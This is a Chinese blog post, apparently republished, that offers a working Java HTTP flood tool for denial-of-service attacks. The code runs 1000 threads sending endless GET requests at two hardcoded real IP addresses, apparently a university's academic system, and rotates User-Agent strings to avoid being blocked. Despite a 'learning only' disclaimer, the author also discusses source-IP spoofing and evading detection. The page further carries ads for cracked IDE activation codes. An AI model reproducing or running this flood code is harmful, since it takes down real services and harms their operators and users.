dos命令运行java代码_如何制作ddos攻击

dos命令运行java代码_如何制作ddos攻击dos攻击:拒绝服务攻击具体的原理不再多说我这里是java实现的推荐使用python做这种脚本,不要用java我写的仅供参考学习,请勿做坏事packagedos;importjava.net.httpurlconnection;importjava.net.url;importjava.net.urlconnection;importjava.util.arraylist;import…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

dos攻击:拒绝服务攻击

具体的原理不再多说

我这里是java实现的

推荐使用python做这种脚本,不要用java

我写的仅供参考学习,请勿做坏事

package dos;

import java.net.httpurlconnection;

import java.net.url;

import java.net.urlconnection;

import java.util.arraylist;

import java.util.random;

import java.util.concurrent.executorservice;

import java.util.concurrent.executors;

/**

* dos攻击

*

* @author q

*

*/

public class test {

/**

* 输入开启的线程数量

*/

private static final int max_thread = 1000;

/**

* 输入你想攻击的网址

*/

private static final string url1 = “http://202.206.208.35:7777/zhxt_bks/zhxt_bks.html”;

private static final string url2 = “http://202.206.208.84:7777/zhxt_bks/zhxt_bks.html”;

private static arraylist useragentslist;

public static void main(string[] args) {

useragentslist = new arraylist();

insertuseragent();

attack(url1);

attack(url2);

}

/**

* get请求攻击

*/

private static void attack(string url) {

executorservice ex = executors.newfixedthreadpool(max_thread);

for (int i = 0; i < max_thread; i++) {

ex.execute(new thread() {

@override

public void run() {

while (true) {

sendget(url);

}

}

});

}

}

private static void sendget(string url) {

try {

url url = new url(url);

urlconnection connection = url.openconnection();

httpurlconnection httpurlconnection = (httpurlconnection) connection;

httpurlconnection.setrequestmethod(“get”);

httpurlconnection.setrequestproperty(“connection”, “keep-alive”);

httpurlconnection.setrequestproperty(“cache-control”, “max-age=0”);

httpurlconnection.setrequestproperty(“upgrade-insecure-requests”, “1”);

httpurlconnection.setrequestproperty(“accept-charset”, “zh-cn,zh;q=0.9”);

httpurlconnection.setrequestproperty(“content-type”, “application/text”);

httpurlconnection.setrequestproperty(“user-agent”, selectuseragent());

httpurlconnection.connect();

int code = httpurlconnection.getresponsecode();

if (httpurlconnection.getresponsecode() >= 300) {

throw new exception(“request is not success, response code is ” + code);

} else {

system.out.println(“request is success, response code is ” + code);

}

} catch (exception e) {

}

}

private static string selectuseragent() {

random random = new random();

int i = random.nextint(useragentslist.size());

return useragentslist.get(i);

}

private static void insertuseragent() {

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/39.0.2171.95”);

useragentslist.add(“mozilla/5.0 (windows nt 5.1; u; en; rv:1.8.1) gecko/20061208 firefox/2.0.0 opera 9.50”);

useragentslist.add(

“mozilla/5.0 (x11; u; linux x86_64; zh-cn; rv:1.9.2.10) gecko/20100922 ubuntu/10.10 (maverick) firefox/3.6.10”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/534.57.2 (khtml, like gecko) version/5.1.7”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/39.0.2171.71”);

useragentslist.add(“mozilla/5.0 (windows; u; windows nt 6.1; en-us) applewebkit/534.16 (khtml, like gecko)”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/30.0.1599.101”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.1 (khtml, like gecko) chrome/21.0.1180.71”);

useragentslist

.add(“mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; qqdownload 732; .net4.0c; .net4.0e)”);

useragentslist.add(

“mozilla/5.0 (linux; u; android 2.2.1; zh-cn; htc_wildfire_a3333 build/frg83d) applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1”);

useragentslist.add(

“opera/9.80 (android 2.3.4; linux; opera mobi/build-1107180945; u; en-gb) presto/2.8.149 version/11.10”);

useragentslist.add(

“mozilla/5.0 (hp-tablet; linux; hpwos/3.0.0; u; en-us) applewebkit/534.6 (khtml, like gecko) wosbrowser/233.70 safari/534.6 touchpad/1.0”);

useragentslist

.add(“mozilla/5.0 (compatible; msie 9.0; windows phone os 7.5; trident/5.0; iemobile/9.0; htc; titan)”);

useragentslist.add(

“mozilla/5.0 (ipad; u; cpu os 4_2_1 like mac os x; zh-cn) applewebkit/533.17.9 (khtml, like gecko) version/5.0.2 mobile/8c148 safari/6533.18.5”);

useragentslist.add(“applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1”);

}

}

注意事项:

我虽然用user-agent列表来混淆对方,这样从一定程度上可以防止被封

但是这不是伪造源ip的方式

只要对方下定决心来查你,怎么样你都会被查到

不过,我想到另一种思路,从数据包的层次修改源ip地址,这样的结果是收不到回包,不过可以做到攻击效果

以后有空试一试,或者直接用kali里面的工具

d0eba07ba88abd85eb538c494c8cd4d6.png

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/188692.html原文链接:https://javaforall.net

(0)
上一篇 2026年4月15日 下午9:19
下一篇 2026年4月15日 下午9:25


相关推荐

  • 企业发卡网源码_多商户企业发卡网源码代对接功能搭建下载

    企业发卡网源码_多商户企业发卡网源码代对接功能搭建下载企业发卡网源码是相对于个人发卡网源码而言的,两者最大的区别是:前者适用于多用户虚拟自动售卡,后者适用于单个个体商户,这就相当于商城与单个店铺的区别。企业发卡网源码集成了一套复杂的管理系统,这其中包括:

    2022年7月1日
    40
  • 效率狂飙:用十分钟时间,解锁 MCP+Cursor 开发姿势

    效率狂飙:用十分钟时间,解锁 MCP+Cursor 开发姿势

    2026年3月16日
    3
  • URL转码

    URL转码不管是以何种方式传递 url 时 如果要传递的 url 中包含特殊字符 如想要传递一个 但是这个 会被 url 会被编码成空格 想要传递 amp 被 url 处理成分隔符 尤其是当传递的 url 是经过 Base64 加密或者 RSA 加密后的 存在特殊字符时 这里的特殊字符一旦被 url 处理 就不是原先你加密的结果了 url 特殊符号及对应的编码符号 url 中的含义编码 URL 中 号表示空格

    2026年3月20日
    2
  • 0xc0000225无法进系统_Win10无法开机0xc0000225错误代码解决方法

    0xc0000225无法进系统_Win10无法开机0xc0000225错误代码解决方法早在使用Win7系统的时候我们就会遇到0xc0000225错误无法开机的问题,而在Win10系统的使用中,同样很多小伙伴也遇到了该错误,那么这时我们要怎么解决呢?下面小编就和大家分享下Win10无法开机0xc0000225错误代码的原因和解决方法。出现0xc0000225错误的原因:出现错误代码0xc0000225,表示Windows无法找到用于引导的BCD(引导配置数据)文件。如果您的系统文…

    2022年6月26日
    40
  • python写txt方法_怎么实现python写入txt文件方法

    python写txt方法_怎么实现python写入txt文件方法一、读写txt文件1、打开txt文件1file_handle=open(‘1.txt’,mode=’w’)上述函数参数有(1.文件名,mode模式)mode模式有以下几种:1234#w只能操作写入r只能读取a向文件追加#w+可读可写r+可读可写a+可读可追加#wb+写入进制数据#w模式打开文件,如果而文件中有数据,再次写入内容,会把原来的覆盖掉2、向文件写入数据第一种写入方式:12…

    2022年10月2日
    4
  • Linux安装redis和redis安装常见错误

    Linux安装redis和redis安装常见错误

    2021年11月23日
    42

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号